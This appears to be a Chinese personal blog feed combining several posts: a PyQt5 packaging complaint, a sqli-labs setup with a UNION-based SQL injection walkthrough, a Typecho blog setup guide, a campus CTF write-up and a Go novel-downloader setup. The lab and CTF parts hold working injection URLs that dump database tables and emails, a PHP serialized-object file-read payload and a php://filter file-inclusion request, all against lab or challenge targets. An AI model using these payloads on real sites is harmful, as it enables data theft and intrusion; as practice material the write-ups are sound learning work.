夫天地者,万物之逆旅;光阴者,百代之过客。

0%

  这两天被CTF的题虐的好惨,想放松一下自己,就想到用Python写一个校园网自动登录的小脚本,基本功能都写出来后,想让舍友帮忙测试一下bug,却被告知没安装python,并提出了EXE文件的需求。想了想,我决定开始学习PyQt5,一个强大的开发windows程序的python库。

  学了半天,一些比较简陋的小功能可以实现了,在python内运行windows程序窗口基本没问题。

img

  但但但但是,在将写好的源代码打包成exe文件时,遭遇了太多太多的坑,哪怕我为了排除不必要的错误,额外装了一台纯净的win10虚拟机,只安装了python3.7(避免和2.7和anaconda出现冲突),pip只安装了requests、PyQt5,依然无法存在无法解决的坑,甚至遇到了一个谷歌、百度一共找到两个解释的网页的问题,一个说暂时略过,一个说删除某dll文件。从github上的issue上对此的讨论,我也看不出来结果。可能pyinstaller的bug,也可能pyinstaller、PyQt5、Python的三者不同版本之间不兼容。总之,复杂无比。

  我最终还是打算放弃了PyQt5,虽然我认为这个锅应该是pyinstaller的。但是无法打包,程序写的再好也没有普适性。

  总结一下弃坑的原因:

  pyinstaller的维护团队毕竟不能和大软件相比,pyinstaller、PyQt5、Python的三者不同版本之间的完美兼容很难做到。而且,我了解到pyinstaller不支持requests的某一版本。这还只是一个例子而言。哪怕今天解决了这个问题,明天三者任何一个升级,都可能导致新问题的出现。而又回到了最初的问题,可以参考的资料太少。

  明天有时间开始学QT吧。到时候QT做框架,内部再调用写好的Python程序。

  原先写的程序很简陋,很多地方都没考虑全面,比如mac地址直接复制我自己的、没有加入判断当前网络状态、密码明文存储等,但还是放到github吧,毕竟也算是我的第一个GUI程序。虽然无法打包成exe,但是pip安装了PyQt5和pyqt-tools后,还是能通过python运行GUI的。

  github链接:https://github.com/iyzyi/cumt_cmcc_edu

  不建议将这个拿来用作校园网自动登录的脚本,如果有这个需求,这里推荐俊达大佬用JAVA写的,https://download.lsmg.xyz/

  真正的大佬自己写打包程序,牛掰的巨巨会用打包程序,唯有笨笨的菜鸟决定换款程序。泪牛满面。

sqlilabs简介:

靶机。

over

安装phpstudy

去官网下载最新版本即可,全程无坑。

必要的服务

img

启动红框中的三项服务

img

点击环境->更多,选择php5.4.45nts,点击安装。

点击网站->管理->php版本->php5.4.45nts

(因为sqlilabs是用较低版本的PHP写的,不同版本的PHP函数有所不同)

安装

将sqlilabs源码放入phpstudy_pro根目录下的WWW文件夹下。

如果你修改了mysql的账号用户名或密码,请在\phpstudy_pro\WWW\sqlilabs\sql-connections目录下找到并打开db-creds.inc,修改mysql用户名或密码

img

默认是不需要改的。

打开浏览器,地址栏键入localhost/sqlilabs,即可打开首页

img

点击红框处,即可安装。

相关入门的知识在往期的文章中,一起努力吧。

最后,感谢热心的学长。

(语句在前,图片居中,备注在后)

sql基础

http://localhost/sqlilabs/Less-1/?id=1

img

按照题目要求发送id=1

http://localhost/sqlilabs/Less-1/?id=1'

img

报错,说明存在sql注入。

为什么呢?看一下后端的语句。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

id=1时,代入代码中为:

$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";

而当id=1’,传值后代码变为:

$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";

可以发现id=’1’’不符合语法,故而报错

http://localhost/sqlilabs/Less-1/?id=1'%23

img

%23是#,在sql语句中表示注释(–+也表示注释,其中+号只是占位符,可换为任意字符),此时传值后,代码变为

$sql="SELECT * FROM users WHERE id='1'#' LIMIT 0,1";

可以看到#’ LIMIT 0,1”;被注释掉了,而剩余的部分都是正确的语法

http://localhost/sqlilabs/Less-1/?id=1' order by 2%23

img

order by 2的意思是结果按照第2行排序

列的个数

http://localhost/sqlilabs/Less-1/?id=1' order by 3%23

img

http://localhost/sqlilabs/Less-1/?id=1' order by 4%23

img

order by 3回显正常,order by 4报错,说明有3列

库名

http://localhost/sqlilabs/Less-1/?id=1' union select 1,2,3%23

img

为什么回显1,2,3,因为第一句查找id=1的语句查到了,所以不显示union后语句的查询结果,因此要先把第一条语句设置为查不到结果

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,3%23

img

将id从1改为0,因为没有id=0的项,自然查找不到结果,所以显示union后面的语句的查询结果。

没有发现1,2,3中的1的输出,是因为后端代码中本来就是输出第二列和第三列,并没有输出第一列。

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,3%23

img

union是联合查询的意思,可连接多条sql语句。

为什么要union select 后面跟着三个数据,是因为union前后的查询的个数要相同(这也是我们前面要先拿到列数的原因)。前面我们已经知道了共三列,所以union select 后面要跟着三个数据

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,database()%23

img

1,2,是为了占位。

dababase()是一个函数,获取当前库的名称

表名

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

img

GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。

information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。information_schema的表tables中的列table_schema记录了所有数据库的名字。information_schema.tables获取所有表名称。

列名

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="emails"%23

img

报信息

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,group_concat(email_id) from emails%23

img

  typecho是国人开发的一款个人博客,不同于国际著名博客wordpress的臃肿,typecho以其小巧简洁赢得了不少国人的青睐,下面我们一起来从零开始搭建。

参考:

https://zhuanlan.zhihu.com/p/34211709

https://www.moerats.com/archives/896/

前排提示,此教程使用国内服务器,并在国内注册域名,域名的备案极其折腾,大约30个工作日后才能开始建站,不想折腾的话,可以参考上面第一个链接购买国外服务器并在国外注册域名,不过我没有实践过,无法提供技术支持。

购买云服务器

云服务器可以选择阿里云或腾讯云,二者都有学生套餐,这里以阿里云为例。

点击此处进入阿里云服务器学生套餐购买界面https://promotion.aliyun.com/ntms/act/campus2018.html

img

选择轻量应用服务器,预装环境选择系统镜像,CentOS7.3 64位,地域选择离自己近的。按需求选择购买时长。

之后按照提示网页提示依次操作

域名的购买及绑定

https://wanwang.aliyun.com/domain/searchresult/#/?keyword=&suffix=cn

选择一个合适的域名并购买。需要注意的是,有的域名,如.cc等,不能在中国备案。无法备案的域名无法在中国境内访问。因此购买域名是千万不用买错了,购买之前先确认是否能够备案。

购买后,来到控制台

https://homenew.console.aliyun.com/

点击轻量应用服务器,选择刚刚购买的服务器

img

点击域名,并点击添加域名,然后输入刚刚买的域名

img

然后进入解析设置,主机记录填@,记录值填写你的服务器ip(可以在控制台看到你的ip),其余默认

img

点击确认。此时就可以通过你的域名连接到你的服务器了(可能需要等几分钟才行)

备案首页https://beian.aliyun.com/order/index.htm

按照提示操作即可,要上传身份证、居住证(需到当地公安局办理,15个工作日)、域名证书(从阿里云下载)图片,此外还要下载一个文件,打印并签名后,拍照上传。

之后等待阿里云客服初审(有不合格内容会电话通知你修改并再次提交),通过后提交管局审核,大概也是15个工作日。审核通过后,方才可以使用域名访问你的网站。

putty连接服务器

img

涂红处填写你的服务器外网ip或者域名,端口(Port)填写22,正下方的Connection type选择SSH

img

login as:填写root,然后输入密码(密码并不会以星号或圆点的形式显示出来,不要诧异)

img

环境安装

安装宝塔 Linux 面板,复制安装代码到 putty 回车运行。

yum install -y wget && wget -O install.sh http:*//download.bt.cn/install/install.sh && sh install.sh*

中间需要进行 “确认”,输入 Y 回车即可。安装完成会显示登录信息,包括面板地址、用户名和密码。

img

打开浏览器进入面板,会提示安装 LNMP。PHP 版本改为 7.1,点击 “一键安装”,等待网站环境安装完成。

img

创建网站

添加网站,之后的操作假设你的域名为hello.com。

img

注意,不需要关注上面的用户hello_com的密码,我们待会使用的是用户root的密码。

网站创建后,进入数据库,查看并记录 root 密码 备用。

img

安装 Typecho

进入 Typecho 官网,下载安装包。建议下载正式版。

打开网站管理页面,进入网站目录,把该目录中的现有文件全部删除。然后把 Typecho 文件压缩包上传到网站目录中并解压,解压后出现 build 文件夹。

img

把 build 文件夹中的文件全部复制到hello.com 文件夹中,然后删除 build 文件夹 和 Typecho 压缩包。

img

浏览器访问 hello.com/install.php,按提示完成 Typecho 配置。

只需要填写数据库用户名(root),数据库密码(上面提到过如何查看及修改),数据库名(就是创建网站的数据库的用户名hello_com,注意替换成你的),其余默认。

img

img

img

Typecho 博客搭建完成!

使用

http://hello.com/admin

进入网站后台,控制台、撰写、管理、设置,四个大选项简单明了。

img

发布文章

点击 “撰写文章”,即可使用 Markdown 语法撰写、发布博文。

预览选项,可以查看渲染后的文章效果。图片可以通过 “附件” 上传,并在文章中引用,或者使用图床。

img

站点管理

站点的管理选项集中在 “管理” 和 “设置”,可以自由的添加、删除标签、分类、文件等,修改站点名称、描述,设置评论规则等。大家一看就知道了,这里不再逐个说明。

主题 & 插件

Typecho 博客本身不带主题/插件商店,因此主题和插件需要自己到论坛、网上去找,下载后上传到网站目录的相应文件夹中,再到网站后台启用即可。

  • 插件位置:网站目录/usr/plugins
  • 主题位置:网站目录/usr/themes
  • 附件位置:网站目录/usr/uploads

必要的源代码修改

发布文章后,可以发现文章中上传的图片无法加载,其实是源代码中的某个变量中存储的路径错误,现在我懒得复现这个问题,如果有出现这个问题的,还请评论中留下出现问题的网址,我看一下。很快的,看一下网页源代码,找到错误图片路径,然后再在typecho源代码中全局搜索一下就可以确认位置。

题一

打开题目网址后,发现是一张图片,查看网页源代码

view-source:http://web.jarvisoj.com:32768/

源代码:

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

发现img的值是base64编码的

来到base64编解码的网站解码

https://www.qqxiuzi.cn/bianma/base64.htm

发现解码后为shield.jpg

所以将index.php用base64编码,得到aW5kZXgucGhw,构造首页的网址

web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw

加上前缀view-source:,查看网页源代码

img

发现文件包含shield.php,同样将其base64加密,得到c2hpZWxkLnBocA==,构造网址

http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

同样加上view-source:的前缀

img

观察可以发现,Shield.php作用是读取文件

至此,可以分析思路,在index.php中通过get传值,获取$class的值,并将其赋给$g,然后调用shield.php中的readfile()方法,读取文件内容并输出。

所以我们可以构造序列化的Shield对象,$file的值为pctf.php,源代码为:

1
2
3
4
5
6
7
8
<?php
//flag is in pctf.php
class Shield {
public $file = "pctf.php";
}
$a = new Shield();
echo serialize($a);
?>

序列化的字符串为

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

构造传值url

view-source:web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

img

拿到flag

第一道▼古典密码签到

img

把密文用base16走一下,可得juttaigykhpmjyreca

我第一反应是凯撒密码的变种,j+6,u+3,一直到最后,key的位数不够的话就在把key在循环几次,构成63756D74 63756D74 6375

写py写到一半,发现我并不会写这种程序,主要是不知道如何用循环语句实现密文的第i个字母加上key的第i个数字。便用c++写的

1
2
3
4
5
6
7
8
9
10
11
12

#include<iostream>
using namespace std;
int main()
{
char s[]="juttaigykhpmjyreca";
int key[]={6,3,7,5,6,13,7,4,6,3,7,5,6,13,7,4,6,3};
for (int i=0;i<18;i++)
if (s[i]+key[i]>122) cout<<char(s[i]+key[i]-26);
else cout<<char(s[i]+key[i]);
return 0;
}

输出为pxaygvncqkwrplyiid

看着不像flag呀,试了试果然不对

重新想了一下,把key也用base16走了一下,竟然是cumt

百度了一下,可能是维吉尼亚密码

找了个在线解密的网站

https://www.qqxiuzi.cn/bianma/weijiniyamima.php

img

加上flag{},提交

第二道▼签到

逆向第一道题,没有提示

用ida32打开,主函数为

img

根据

img

可知flag长度应该为20(严格来说是小于等于20,我一般以为就是上界,但没想到这道的flag长度居然是10,以后要注意一下)

通过sub_401000函数进行变换,第一个形参为输入字符串,第二个形参为v5~v14的数值(严格来说是v5的地址,但我敢肯定函数里面绝对用到了地址的偏移)

sub_401000函数为

img

开始时没看懂*v3和v3[1]的关系,以为是v5~v14共十个变量,每个变量里可以分成两个数,如0x1054拆成0x10和0x54,至于谁在前谁在后,还要学一下存储的大头端和小头端。

我以为是这样共有20个数,转化成(v3+1)^a1[i]==v3,这样要求的a1[i]=v3[i]+v3[i+1],可这样只能出来19个数,因为没有v3[21],而且求出的前十九个字符中有不可见字符,肯定不对。

这样想的错误出现在:v3+=4

如0x1054是四个字节,每次v3地址偏移4个字节,这样,v3[1]和*v就很明显了

img

走入误区的原因在于坚信flag一定长度为20

写出py

1
2
3
4
5
6
7
8
9

v=[0x10,0x54,0x20,0x6b,0x30,0x5a,0x40,0x2f,0x50,0x12,
0x60,0x57,0x70,0x46,0x80,0xe8,0x90,0xd1,0xa0,0xcc]
flag=''
i=0
while (i<20):
flag+=chr(v[i]^v[i+1])
i+=2
print(flag)

结果为DKjoB76hAl,不像是flag

因为这道题并没有提示,所以也没有加上flag{}还是cumtctf{},所以我以为跑出来的flag会自带前缀。

以后要注意,没提示什么前缀的题目拿到的flag也并不一定自带前缀。

尝试加上flag{},成功提交哦

第三道▼encode

没有提示。

百度可知:pyc文件是py文件编译后生成的字节码文件(byte code)。pyc文件经过python解释器最终会生成机器码运行。所以pyc文件是可以跨平台部署的

c++有反编译,这个自然也有。

在线pyc文件进行解密。支持所有Python版本

https://tool.lu/pyc/

反编译后的py程序为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import base64

def encode1(ans):
s = ''
for i in ans:
x = ord(i) ^ 36
x = x + 25
s += chr(x)
return s

def encode2(ans):
s = ''
for i in ans:
x = ord(i) + 36
x = x ^ 36
s += chr(x)
return s

def encode3(ans):
return base64.b32encode(ans)

flag = ' '
print 'Please Input your flag:'
flag = raw_input()
final = 'LOQ2NJFYU5YH2WTUU5VHJIDXLJNVW2LQO52WS2L6PVUVW2TQLJNVSWLJUBN3E==='
if encode3(encode2(encode1(flag))) == final:
print 'correct'
else:
print 'wrong'

思路非常清晰,倒着写解密程序,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64

final='LOQ2NJFYU5YH2WTUU5VHJIDXLJNVW2LQO52WS2L6PVUVW2TQLJNVSWLJUBN3E==='

def decode3(ans):
return base64.b32decode(ans)

def decode2(ans):
s=''
for i in ans:
x=ord(i)^36
x=x-36
s+=chr(x)
return s;

def decode1(ans):
s=''
for i in ans:
x=ord(i)-25
x=x^36
s+=chr(x)
return s;

print(decode1(decode2(decode3(final))))

flag{b38e7b57c2eff432044984f53efdd4cf}

成功拿到flag。不过恕我直言,对于学过一点点puthon的人来讲,这道题200分有点高,毕竟没有难度,2333(我是菜逼一个)

还有一点,最开始用winhex打开的.pyc,发现了

img

肯定有base32,先把那个字符串用base32解码一下,在线解码居然失败了,用python解码看了一下,解码得到的是[ᄀᆭᄂᄌᄃp}ZtᄃjtᅠwZ[[ipwuii~}i[jpZ[YYiᅠ[ᄇ

后来用反编译拿到源代码后才反应过来,输入的字符串是正常的,但经过第一、二步的加密,使其变成了非标准ascll字符,在此基础上再用base32加密。所以用base32解密时直接得到的字符串必然是含有非标准ascll字符的,在线解密网站可能加入了判断是否为标准ascll字符的部分,而python的base64.b32decode(str)应该没有判断

第四道▼Whoami???

img

进入网页一看

img

百度了一下如何用python向服务器发送请求

python通过get方式,post方式发送http请求和接收http响应-urllib urllib2

https://www.cnblogs.com/poerli/p/6429673.html

复制了其中一端代码,将url改成本题的url

如下:(直接复制拿来用的,现在还不懂原理,有空时要学一下web了)

1
2
3
4
5
6
7
8
9
10
import urllib
import urllib2

url = "http://202.119.201.199:40106/"
req = urllib2.Request(url)
print req

res_data = urllib2.urlopen(req)
res = res_data.read()
print res

输出见下图

img

根据网页的那一段话,最后一句很可疑啊。

我以为I’m a teapot是出题人写的,以为flag就在眼前了,然而上网查了一下,居然是由来已久的,并不是出题人自己写的。

不过还是加上flag{}后试了一下,居然成功进入下一个网页界面,

(后来想了下,题目中的问号写的是who am I,回答I’m teapot不正好回答了这个问题了吗)

img

点击提交进入下一界面,拿到flag

img

第五道▼Lisp

img

百度了下,lisp也是一种计算机语言,上世纪50年代的,很老了,但貌似是世界上最好的语言(笑)

下载附件,尝试用txt打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
;; Author: Iv4n

;; input your flag-string here
(define flag *****)
(define final-string '(97 100 206 218 135 230 70 242 104 107 95 104 97 107 100 206 101 218 137))

(define (process-flag flag)
(define (convert i)
(let ([iv-0 #x0c]
[iv-1 #x2e]
[iv-2 #x3a])
(cond ((= (remainder i 3) 1) (+ (* i 2) iv-0))
((= (remainder i 2) 0) (+ (/ i 2) iv-1))
((> i 90) (+ i iv-0))
(else (+ i iv-2)))))
(define (iter lst)
(cond ((null? lst) '())
((not (pair? lst)) (list (convert lst)))
(else (append (iter (car lst)) (iter (cdr lst))))))
(iter flag))

(define converted-string (process-flag flag))
(display (if (equal? converted-string final-string)
"Congratulations!"
"try again~"))

可以分析源代码分三个阶段

第一阶段,输入flag,定义最终final字符串

第二阶段,

​ 前半段,对flag加密,并与final比较

​ 后半段,推测是将数据转化成字符串(不太清楚,但对解题应该没影响)

第三阶段, “Congratulations!” or “try again~”

很明显,主要是第二阶段的前半段。

之前没有接触过lisp,自然不懂它的语法和函数等,遇到不会的地方就百度,加以推测,最终基本搞懂了。

(define (process-flag flag)

第一行定义一个变量

(define (convert i)

第二行,猜测类似与python的for的迭代,一个一个字符的读入

1
2
3
(let ([iv-0 #x0c]
[iv-1 #x2e]
[iv-2 #x3a])

之后的三行,推测#x0c就是0x0c,iv-0估计就是变量名

1
2
3
4
(cond ((= (remainder i 3) 1) (+ (* i 2) iv-0))
((= (remainder i 2) 0) (+ (/ i 2) iv-1))
((> i 90) (+ i iv-0))
(else (+ i iv-2)))))

cond类似于if-elif-else

当分两种情况时,使用if函数即可,两种以上的情况时,使用cond函数比较方便。例子1:如果a>0,则b=+1;否则,b=-1

(if(a>0) (setq b +1) (setq b -1))

例子2:如果a>=100,则b=2;如果10<=a<100,则b=1;如果a<10,b=0

(cond

((>= a 100) (setq b 2))

((>= a 10) (setq b 1))

(t (setq b 0))

remainder取余

( REMAINDER N1 N2 )取N1除以N2的余数,结果放入N1

另外,lisp语法和c++和python不太一样,它的操作符在首位,后面跟着操作数据

如1+2表示为+ 1 2(中间有空格)

在此基础上(结合:( REMAINDER N1 N2 )取N1除以N2的余数,结果放入N1),我猜测+ a b 是计算a+b并将结果放入a(事实证明我猜对了)

搞明白加密原理后,我写了个等效的python脚本(仅加密部分)

1
2
3
4
5
6
7
8
9
for i in flag:  
if i%3==1:
i=i*2+0x0c
elif i%2==0:
i=i//2+0x2e
elif i>90:
i=i+0x0c
else:
i=i+0x3a

对应写出解密脚本

注意:正向加密的时候一个明文值仅仅对应一个密文值,但逆向解密的时候,一个密文值可能对应多个明文值(毕竟四种加密方式),这就要结合题中的/[0-9a-z_{}]+/来判断取值。

解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def try0x0c_1(n):    #对应if i%3==1: i=i*2+0x0c
i=n
n-=0x0c
if n%2==0 and (n//2)%3==1:
return n//2
return 0

def try0x2e(n): #对应elif i%2==0: i=i//2+0x2e
i=n
n-=0x2e
n*=2
if n%2==0 and not (n%3==1):
return n
return 0

def try0x0c_2(n): #对应elif i>90: i=i+0x0c
i=n
n-=0x0c
if n>90 and not (n%2==0 or n%3==1):
return n
return 0

def try0x3a(n): #对应else:
n-=0x3a
if n<=90 and not (n%2==0 or n%3==1):
return n
return 0


final=[97 ,100 ,206 ,218 ,135 ,230 ,70 ,242 ,104 ,
107 ,95 ,104 ,97 ,107 ,100 ,206 ,101 ,218 ,137]
flag=''
for i in final:
if try0x0c_1(i)!=0:
print(chr(try0x0c_1(i)),end=' ')
if try0x2e(i)!=0:
print(chr(try0x2e(i)),end=' ')
if try0x0c_2(i)!=0:
print(chr(try0x0c_2(i)),end=' ')
if try0x3a(i)!=0:
print(chr(try0x3a(i)),end=' ')
print ("
")

输出有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
f ' 
l
a ŀ
g Ř
{ M
m Ű
0
s ƈ
. t
z _
b
. t
f '
z _
l
a ŀ
n
g Ř
¶ }

根据/[0-9a-z_{}]+/,并根据实际含义,可以写出flag{m0st_btf_lang}

解释一下实际含义,比如第10个可以写z,也可以写_,都是满足取值的,但根据flag的常用格式,可以猜测应选下划线

第六道▼ 真真假假

没有提示,但我算是认识到运气好是一种什么体验了,第一次拿首答

img

下载压缩包,发现加密了,首先尝试伪加密。

用winhex打开压缩包

img

发现在全局加密位并没有置成加密,所以一定是伪加密。

在winhex工具栏上找到HEX按钮(用于搜索十六进制)

img

输入5040102,查找到其所在位置

img

将9改为0,保存

关于伪加密

压缩源文件数据区:

50 4B 03 04:这是头文件标记(0x04034b50)

14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(有无加密)

08 00:压缩方式

这个地方的标志位叫 frFlags

压缩源文件目录区:

50 4B 01 02:目录中文件文件头标记(0x02014b50)

3F 00:压缩使用的 pkware 版本

14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)

08 00:压缩方式

还有就是,是否加密看的是第二个数位是奇数还是偶数,奇数表示加密,偶数表示未加密(如:09 00为加密,00 00未加密)

再者,50 4B 03 04部分标记为加密,则一定不是伪加密。只有50 4B 03 04部分标记为未加密,而50 4B 01 02部分标记为加密,这样才是伪加密。

解压后,得到img.html

打开一看,一行很长的文本,直接后缀改为txt,打开(因为太长了,100+KB,我就不全粘贴了,复制一部分,仅供看看文本风格)

开头

/9j/4AAQSkZJRgABAQEASABIAAD/4REoRXhpZgAATU0AKgAAAAgABgESAAMAAAABAAEAAAExAAIAAAAUAAAIYgEyAAIAAAAUAAAIdodpAAQAAAABAAAIipycAAEAAABCAAAQzuocAAcAAAfqAAAAVgAAAAAc6gAAAAgAAAAAAAAc6gAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

中间

+LrGzdUuktXK3Nmz/cE0LhZIj7OgNfgb/wcaeItI13/gql4qTTLq4u59L0XTLLUd5/d29ykPmbE/7Zun/A5Hrmf+CG/wAc9b/Z5/bqh8TWt5Ja+EtL8NatqHjXd/qBpNravPvf/b89Idn+2+z+Ovrv9WYTy6GKhP3+xnzn9GPxJ/aU+HfwW1O3sPGHj7wb4Vv7pN8FvrOtW1jJcJ/eVZHTP1FcN8cf2NfgR+394Phv/FXhHwZ48s7yPNrrdoI5LjZ/ehvIf3n/AHw9fy8ftH/HzxB+1d8c/E/xE8WXMl9rXii9e6ff+8+zp/ywgT+4iR7ERP8ApnX3n/wbAfGTx9o/7a194I8Ptfal8OtV0m5vfENt872mlzon7i6/uJI8n7n/AG9//TOjE8N1MJhvrMa3vxD2h7d+15/wasI32rVPgf44kt9p3p4f8VfvIz/sJeRp5n/fxH/36/Ln9p/9i/4p/saeI/7N+JXgnWPDLeZ5cF5MnmWF5/1xuU+R/wDvuv65VGKxPGPgrSPH/h280fXtJ0/XNL1CPy7myvrRLi3uU/uOj5RvxrHA8WYqj7lb30P2aP4//h58RfEPwh8X2fiDwrr2seGde0//AFGpaVdPazx/8DSv1C/YV/4OevGXw7e00H46aK3jfR12J/wkOjokGrW6f35oPkjm/wCAbH/36+lf23f+DZL4Z/GMXWtfB/Um+F/iKX5/7NbfdaDcSf8AXP78H/bM7P8AYr8dv2v/APgn58XP2FfEf2D4keD77SrOR9lrrFt/pWk6h/uXKfJ/wCTZJ/sV9LTxWV5vDkqaTI1if07/ALMn7Yvw4/bM8Bp4h+Gvi3S/EtjjEyQvsurN/wC5NC/7yF/Z0FeqsNtfx4/CD4yeLP2fvHdn4q8E+JNY8K

结尾

j/APkSvqT4Lf8ABJ79nP8AZ/mjuPDPwf8ABcF5GPku76y/tG5T/ttc+ZJ+tZVOMMFS/gUy/Zn8yHwY/Zb+Jf7Q14lt4D+HvjHxa39/TdInnt/+BzbNif8AbR6+0v2fP+DZ79oj4vRxXHiqTwr8M9Nf5/8AiZXv26/2f9cYd8f/AH3Ilf0N2FhDpdnFb28McMMabURE2ogq5srxcVxnip/wY8gezPzJ/Zr/AODYD4H/AAse2vPH2r+JvibqCfO0M7/2Xpv/AH4g+f8A77kNffXwZ/Zy8C/s7eHE0fwL4P8ADvhLTY12CDSdPjtRJ/v7B8//AAOu92CjFfO4rMcTXd60yuVC0UUVylBRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRiiigBvlCnYoooAMUYoooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAP/2Q==

毫无头绪,最后两个==让我有点怀疑是base64,然而解码是乱码。又想了一会,脑子一抽居然把100+KB的文本整体用base64解码了,大部分都是乱码,但居然有两个部分是正常的

分别是

ZmxhZ3toMzExb190SDFzXzFTX2YxNGd9Adobe Photoshop 7.02009:11:25 21:24:19

以及

http://ns.adobe.com/xap/1.0/

<x:xmpmeta xmlns:x=”adobe:ns:meta/“><rdf:RDF xmlns:rdf=”http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description rdf:about=”uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b” xmlns:xmp=”http://ns.adobe.com/xap/1.0/">xmp:CreatorToolAdobe Photoshop 7.0<rdf:Description xmlns:dc=”http://purl.org/dc/elements/1.1/"/><rdf:Description xmlns:dc=”http://purl.org/dc/elements/1.1/"/>

首先想的是进入第二个的那个网站,但没进去。然后观察第一个的前半部分有点像base64呀,解码,居然拿到flag了,你敢信?

ZmxhZ3toMzExb190SDFzXzFTX2YxNGd9

flag{h311o_tH1s_1S_f14g}

第七道▼ 现代密码签到

img

这种题就是碰运气吧(我还能怎样,能怎样~?)

把key两次base64解码,得到cumtflag,作为密钥(一开始直接把key拿来用,自然解不出来啦)

尝试把密文base64解码,但出来乱码,所以放弃。

尝试各种现代密码,最终通过RC4解密,拿到flag

http://tool.chacuo.net/cryptrc4

img

flag{CumT_D0uB13_MooN_cTf}

第八道▼ web签到

给出网址http://202.119.201.199:30100(估计等我再回头看WP时,这个页面早没了,毕竟内网)

img

定义了变量$page,其值为GET到的内容

若不为空,则操作,若为空,输出page!!!!

在浏览器的地址栏输入

http://202.119.201.199:30100/?page=php://filter/read=convert.base64-encode/resource=cxk.php

输出PD9waHAgDQpwaHBpbmZvKCk7IA0KLypmbGFne0N1bXRDVEZfdGhpc19pU19hX1JFbEx5X2ZMYUchISF9Ki8NCj8+DQo=

base64解码得到cxk.php的源代码

<?php phpinfo(); /*flag{CumtCTF_this_iS_a_RElLy_fLaG!!!}*/ ?>

拿到flag{CumtCTF_this_iS_a_RElLy_fLaG!!!}

几个文件包含的博客

https://www.cnblogs.com/whitehawk/p/9940184.html

https://www.cnblogs.com/zcz1995/articles/10264030.html

https://www.cnblogs.com/bmjoker/p/9035259.html

不打算继续做了,要准备高数考试了,截图留念

img

最终排名

img

  刚看完一本欢乐书客上的网络小说《我的网恋女友是妹妹》(后因神秘力量更名为《我的网恋女友》),特别喜欢这本书,想下载下来。github发现了三个python的项目,但都没能成功下载,最后发现了这个golang的项目,虽然没有golang的使用经验,但最终还是成功使用其成功下载了目标小说。

下面为详细过程:

零、安装golang

从官网下载对应版本的golang,按照提示安装即可。

注意将安装目录下的bin放入环境变量。

一、安装git

安装(编译)过程中会提示缺少一些扩展包,要通过go get XXX语句从网络上下载扩展包,go get语句是通过git实现的,所以需要提前下载git,windows下载64位或32位安装包即可

安装成功后需要配置Git环境变量,在Path变量中增加形如:C:Program FilesGitcmd

验证是否配置成功,打开windows命令行,输入git version命令,出现信息表示配置成功。

(修改环境变量后要重新打开cmd窗口才会生效)

图为未安装git时使用go get的后果:

img

二、源文件

从github上获取dhbooker源文件。我fork的: https://github.com/iyzyi/dhbooker

解压放入以下两个路径中的其中一个即可

img

三、安装dbhooker

go install dhbooker

会提示以下内容,缺少扩展包

img

按提示,用go get 下载即可

1
2
3
4
go get github.com/PuerkitoBio/goquery 
go get github.com/Unknwon/goconfig
go get github.com/tidwall/gison
go get gopkg.in/cheggaaa/pb.v1

如下图:

img

中间过程中会有一个包下载失败,提示:

package golang.org/x/net/html: unrecognized import path “golang.org/x/net/html” (https fetch: Get https://golang.org/x/net/html?go-get=1: dial tcp 216.239.37.1:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.)

这是因为墙内无法直连提示的那个网站,解决方法是在github上下载安装失败的那个包,然后放到相应的位置即可。

缺失的包的github链接 https://github.com/golang/net.git,下载后将html文件夹放入C:Userskljxngosrcgolang.orgx et

下图为为什么要放到该路径的提示:

img

再次使用go install dhbooker,成功安装

四、使用

go run dhbooker -b 100061744

img

conf.ini在C:Userskljxnconf.ini,填写欢乐书客的账号和密码,以及下载的目录和临时目录

再次使用go run dhbooker -b 100061744

img

参考:

golang.org/x/net 安装方法

  我端详着这个熟悉而又陌生的世界。

